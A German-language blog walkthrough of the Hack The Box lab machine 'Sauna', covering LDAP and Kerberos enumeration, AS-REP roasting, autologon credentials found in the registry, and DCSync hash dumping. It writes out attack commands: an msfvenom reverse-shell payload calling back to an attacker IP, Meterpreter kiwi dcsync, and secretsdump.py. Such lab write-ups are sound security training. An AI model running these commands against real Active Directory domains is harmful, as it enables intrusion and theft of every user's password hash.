HTB – Sauna

Sauna war meine erste Windows Hack the Box und somit musste ich viel nachlesen und hab viel über LDAP und Kerberos gelernt.

Bei Sauna geht es darum, dass man, neben einer Website, eine Menge offener Ports findet und sich somit erstmal einen Überblick verschaffen muss, was relevant ist und was nicht. Ich musste bei der Box einiges ausprobieren bis ich den „foothold“ gefunden habe.

Nachdem man über die Website einige Usernamen bekommt, kann über den Kerberos Dienst schauen, welche Usernamen auf dem System verfügbar sind. Über eine Fehlkonfiguration bekommt man ein Kerberos Authentifizierungs-Ticket über welches man das Passwort des Users cracken kann. Auf dem System findet man in der Registry einen weiteren User, welcher einer spezielle Domänen Gruppe angehört. Über das ausnutzen der Domänen Replikation bekommt man anschließend alle User und deren NTLM Hashes. Das erstellen eines „Golden Tickets“ ist optional natürlich möglich jedoch nicht zwingend notwendig.

Scan

Ich fange mit dem typischen Scan an.

Wie angekündigt, finden wir einige offene Ports, ein weiterer Scan (nach allen Ports)

nmap -p- 10.10.10.175

zeigt eine Reihe weitere Ports an, gegen welche ich nochmal den Script- und Version-Scan laufen lasse

Nmap 7.80 scan initiated Tue Mar 24 22:35:50 2020 as: nmap -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49675,49686,58458 -oA targetPorts 10.10.10.175
Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-25 05:38:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
58458/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/24%Time=5E7A7D45%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|clock-skew: 8h02m29s | smb2-security-mode: | 2.02: | Message signing enabled and required
| smb2-time:
| date: 2020-03-25T05:41:00
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Tue Mar 24 22:41:09 2020 -- 1 IP address (1 host up) scanned in 318.56 seconds

Vor allem die Ports

  • 80 (IIS)
  • 88 (Kerberos)
  • 389 (LDAP)
  • 445 (SMB)
  • 5985 (winrm)

sind für uns interessant. Übrigens läuft der Server auch auf IPv6, ein Scan darüber hat aber keine unterscheide oder weitere Ports gebracht.

LDAP

Ich beginne mit der LDAP Enumeration

Nmap selbst hat ein paar ganz brauchbare Standard-Scripte um das entsprechende Root Verzeichnis vom LDAP auszulesen. Wenn man das Verzeichnis noch nicht kennt kann man über das Script ldap-search dieses herausbekommen

nmap -p 389 --script ldap-search 10.10.10.175

Da die Ausgabe recht lang ist, hab ich diese ein bisschen gekürzt.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:53 CET
Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175)
Host is up (0.081s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: DC=EGOTISTICAL-BANK,DC=LOCAL
| dc: EGOTISTICAL-BANK
| dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
|_ dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Das Script ldap-rootdse findet auch den defaultNamingContext und zeigt uns weitere Informationen an

nmap -p 389 --script ldap-rootdse 10.10.10.175

Auch hier hab ich die Ausgabe für die Lesbarkeit ein bisschen reduziert.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:57 CET
Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175)
Host is up (0.15s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
|
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
| ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL
CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| serverName: CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| schemaNamingContext: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
| isSynchronized: TRUE
| highestCommittedUSN: 53312
| dsServiceName: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
| defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
| currentTime: 20200329025940.0Z
|_ configurationNamingContext: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
Service Info: Host: SAUNA; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Alternativ kann man für einen ersten scan auch das Tool ldapsearch verwenden. Der Befehl (falls man den Root CN noch nicht kennt) lautet:

ldapsearch -h 10.10.10.175 -x -s base -b '' "(objectClass=*)" "*" +

Die Ausgabe kann man dann auch entsprechend nach „naming“ filtern und sich die nameContext Einträge ausgeben lassen.

ldapsearch -h 10.10.10.175 -x -s base -b '' "(objectClass=*)" "*" + | grep -i naming | sed '/s.*\(".*"\)/\1/' > nameContext
cat nameContext | sed 's/namingContexts: //'

Anhand von diesen kann man anschließend weitere Suchen nach Usern oder Accounts durchführen

ldapsearch -h 10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL" "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"

Oder man sucht direkt über alles nach Usern

ldapsearch -h 10.10.10.175 -x -s base -b '' "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))" "*" +

Die Ausgaben bringen uns bei dieser Box leider nicht weiter, ohne Authentifizierung finden wir in der AD leider keine weiteren Nutzer. Wir finden zwar den Eintrag

CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

Dieser bringt uns aktuell aber auch erstmal nichts.

Zumindest kennen wir jetzt den FQDN und die Domäne.

dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL

Was wir uns auch nochmal über crackmapexec ausgeben lassen können

Weiterführende Informationen über LDAP und wie man hier vor gehen kann hab ich am Ende vom Artikel zusammengefasst.

Kerberos

Kerberos bietet (neben SMB) eine einfache Möglichkeit herauszufinden ob ein User auf dem System vorhanden ist oder nicht.

Zuerst brauchen wir aber eine Liste an Usern welche wir prüfen wollen. Einige Hinweise gibt uns die Website welche unter Port 80 läuft. Unter „About Us“ finden wir die Namen des Teams.

http://10.10.10.175/about.html

Ich erstelle mir kurzerhand eine Liste mit den Namen in verschiedenen Formen und packe noch „sauna“ und den „Hugo Smith“ dazu, welchen wir in der AD gefunden haben.

fergus
smith
fsmith
hugo
hsmith
sauna
scolns
colns
shaun
bear
skerb
steven
kerb
btaylor
bowie
taylor
sdriver
driver
sophie

Die Liste speichere ich mir unter users.txt.

Über Kerberos hab ich zwei Möglichkeiten gefunden, zu prüfen ob ein User angelegt ist. Wichtig ist jeweils, dass die Domain bekannt ist.

Metasploit

Über das Modul kerberos_enumusers können wir prüfen ob ein User vorhanden ist

Interessante Feststellung und übersieht man bei einer kleinen Liste leicht, er findet zwar ein paar User aber bei dem User „fsmith“ läuft das Modul auf einen Fehler und beendet sich. D.h. er prüft nachfolgende Einträge nicht mehr.

NMAP

Auch nmap bringt ein Script mit um zu prüfen ob ein User in Kerberos vorhanden ist.

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL' 10.10.10.175

Gibt man keine eigene Userliste mit, prüft Nmap mit seiner eigenen Wordlist und findet zumindest schon mal den Administrator.

Das Script mit unser selber erstellten Userliste, bringt dann die gleichen Ergebnisse wie Metasploit

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL',userdb=users.txt 10.10.10.175

Interessant zu sehen, dass nmap bei fsmith keinen Fehler hat und diesen User normal erkennt. Trotzdem lohnt sich an dieser Stelle eine genauere Prüfung, immerhin muss der User sich ja von den anderen unterscheiden wenn bei diesem ein Fehler geworfen wird.

Ein Scan mit dem python Script GetNPUsers von Impacket zeigt uns den Grund.

GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip 10.10.10.175 -usersfile users.txt

Das Script fordert von dem Kerberos Dienst ein TGT an, welches für die Ausstellung weiterer (Service) Tickets (TGSs) benötigt wird. Das ganze funktioniert normalerweise jedoch nur wenn man sich am Kerberos Dienst dafür authentifiziert. Es gibt jedoch die Einstellung „Do not require Kerberos preauthentication“, falls diese gesetzt ist, wird das Ticket auch ohne Passwortabfrage ausgestellt. Genau das versucht das Script und ist bei dem User fsmith erfolgreich.

Wir bekommen das TGS Ticket, das interessante an daran ist, das die Daten dieses Tickets mit dem eigentlichen Passwort des Users fsmith verschlüsselt sind und wir diesen (Kerberos 5 AS-REP) Hash nun versuchen können zu cracken.

Da in allen HTB Szenarien wo es vorgesehen ist, dass man ein Passwort knacken muss, dieses auch mit hoher Sicherheit in der gängigen Wordlist „rock you“ enthalten ist haben wir erfolg und finden das Kennwort.

WinRM

Mit dem Usernamen und Passwort können wir uns jetzt über evil-winrm auf der Box anmelden und bekommen somit eine Shell

Mit den Anmeldedaten von fsmith fange ich an, anhand verschiedener Scripte nach weiteren Informationen zu suchen.

Das Tool nullinux.py führt eine Reihe von Tests gegen den SBM Port aus und versucht somit einige Informationen wie z.B. weitere Benutzer zu finden. Mit Erfolg wie man sieht.

Interessant ist u.a. der User krbtgt, denn dieser ist für die Kerberos Authentifizierung zuständig, dessen Kennwort wird in den meisten Fällen nicht geändert und ist somit ggf. mithilfe des Tools mimikatz auslesbar. Wenn wir das Kennwort von dem User hätten, könnten wir uns Anhand von diesem ein beliebiges (sogenanntes) „Golden Ticket“ ausstellen lassen.

Ein check zeigt, das Kennwort wurde tatsächlich noch nie geändert.

Folgende Möglichkeiten stehen zur Verfügung um an den Hash zu kommen.

Quelle: https://pentestlab.blog/tag/krbtgt/

Dazu kann mann noch die Möglichkeit über das Script secretsdump.py von Impacket dazu zählen, welches auch die DCSync Mehtode verwendet.

Leider klappt keine der Möglichkeiten: Auf das Verzeichnis NTDS haben wir keinen Zugriff, der LSASS Prozess lässt sich auch nicht Dumpen und der DCSync schlägt wegen fehlender Berechtigungen fehl.

Eine weitere Möglichkeit wäre über das Toolset DAMP, aber dafür bräuchten wir Berechtigungen in die Registry zu schreiben, welche uns leider auch fehlen.

Autologin

Ich begebe mich also weiter auf die Suche, in der Shell selbst lasse ich das Tool winPEAS.exe laufen, welches nach gängigen Sicherheitslücken ausschau hält und alle Möglichen Informationen sammelt. Und es findet tatsächlich einen interessanten Eintrag in der Registry.

Das Kennwort des Users svc_loanmanger, wir können den Eintrag aus der Registry auch manuell abfragen und sehen das Autologin Daten hinterlegt sind.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

Nun beginnt der für mich schwierigste Teil, herausfinden was der Unterschied zwischen dem User svc_loanmanger und fsmith ist, beide haben nach ersten vergleichen, die selben Berechtigungen.

Die Befehel net user <username> zeigt uns keinen Unterschied in den Gruppen.

Erst über das integrierte Tool DCACLS finden wir den Unterschied.

DSACLS "DC=EGOTISTICAL-BANK,DC=LOCAL"

Der svc_loanmgr hat also Berechtigungen auf die AD Replication zuzugreifen. Das erleichtert uns das ganze.

DCSync & Hashes

Mit den entsprechenden Berechtigungen, gibt es mehrere Möglichkeiten auf die Hashes zugreifen zu können. Ich beschreibe hier zwei.

Metersploit

Um eine Meterpreter Shell zu bekommen erzeugen wir uns einen entsprechenden Payload

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe -o payload.exe

Diesen laden wir per evil-winrm auf die Box hoch.

In Metersploit starten wir einen entsprechenden Listner

use exploit/multi/handler
set lhost <ip>
set lport <port>
run

Und führen auf der Box die Payload.exe aus.

.\payload.exe

Mit der Meterpreter session können wir nun verschiedene Module laden und versuchen an den Hash zu kommen. Mit

bg

setzte ich die Session in den Hintergrund

Die normalen Windows Hash Module klappen nicht

Daher gehen wir mit

sessions -i 1

wieder zurück in die meterpreter session und laden das kiwi Modul

load kiwi

Anmerkung: man braucht das neuere mimikatz modul (kiwi) da es im alten das Modul dcsync noch nicht gibt.

mit

dcsync EGOTISTICALBANK\\Administrator

können wir uns jetzt von jedem vorhanden User den Hash ausgeben lassen.

Kleiner gegen check: mit eine Meterpreter Session unter dem User fsmith klappt der Befehl nicht

Secretsdump

Den Payload, Metsersploit, Meterpreter und Kiwi kann man sich aber sparen indem man einfach das bereits oben erwähnte Script secretsdump.py von Impacket verwendet.

secretdump.py 'svc_loanmgr:Password'@10.10.10.175 -just-dc-ntlm

Nachdem wir hierüber alle Hashes bekommen könnten wir uns über den krbtgt Hash ein Kerberos Ticket erstellen, alternativ und einfacher ist es sich einfach über den Hash des Admins und psexec eine Shell aufzurufen.

Somit sind wir als System User angemeldet.

Auf dem Deskstop vom Administrator finden wir dann auch die root.txt

Weiterführende Infos

Hier noch einige sehr lesenswerte und interessante Links zu den Themen AD, LDAP und Kerberos

Schreibe einen Kommentar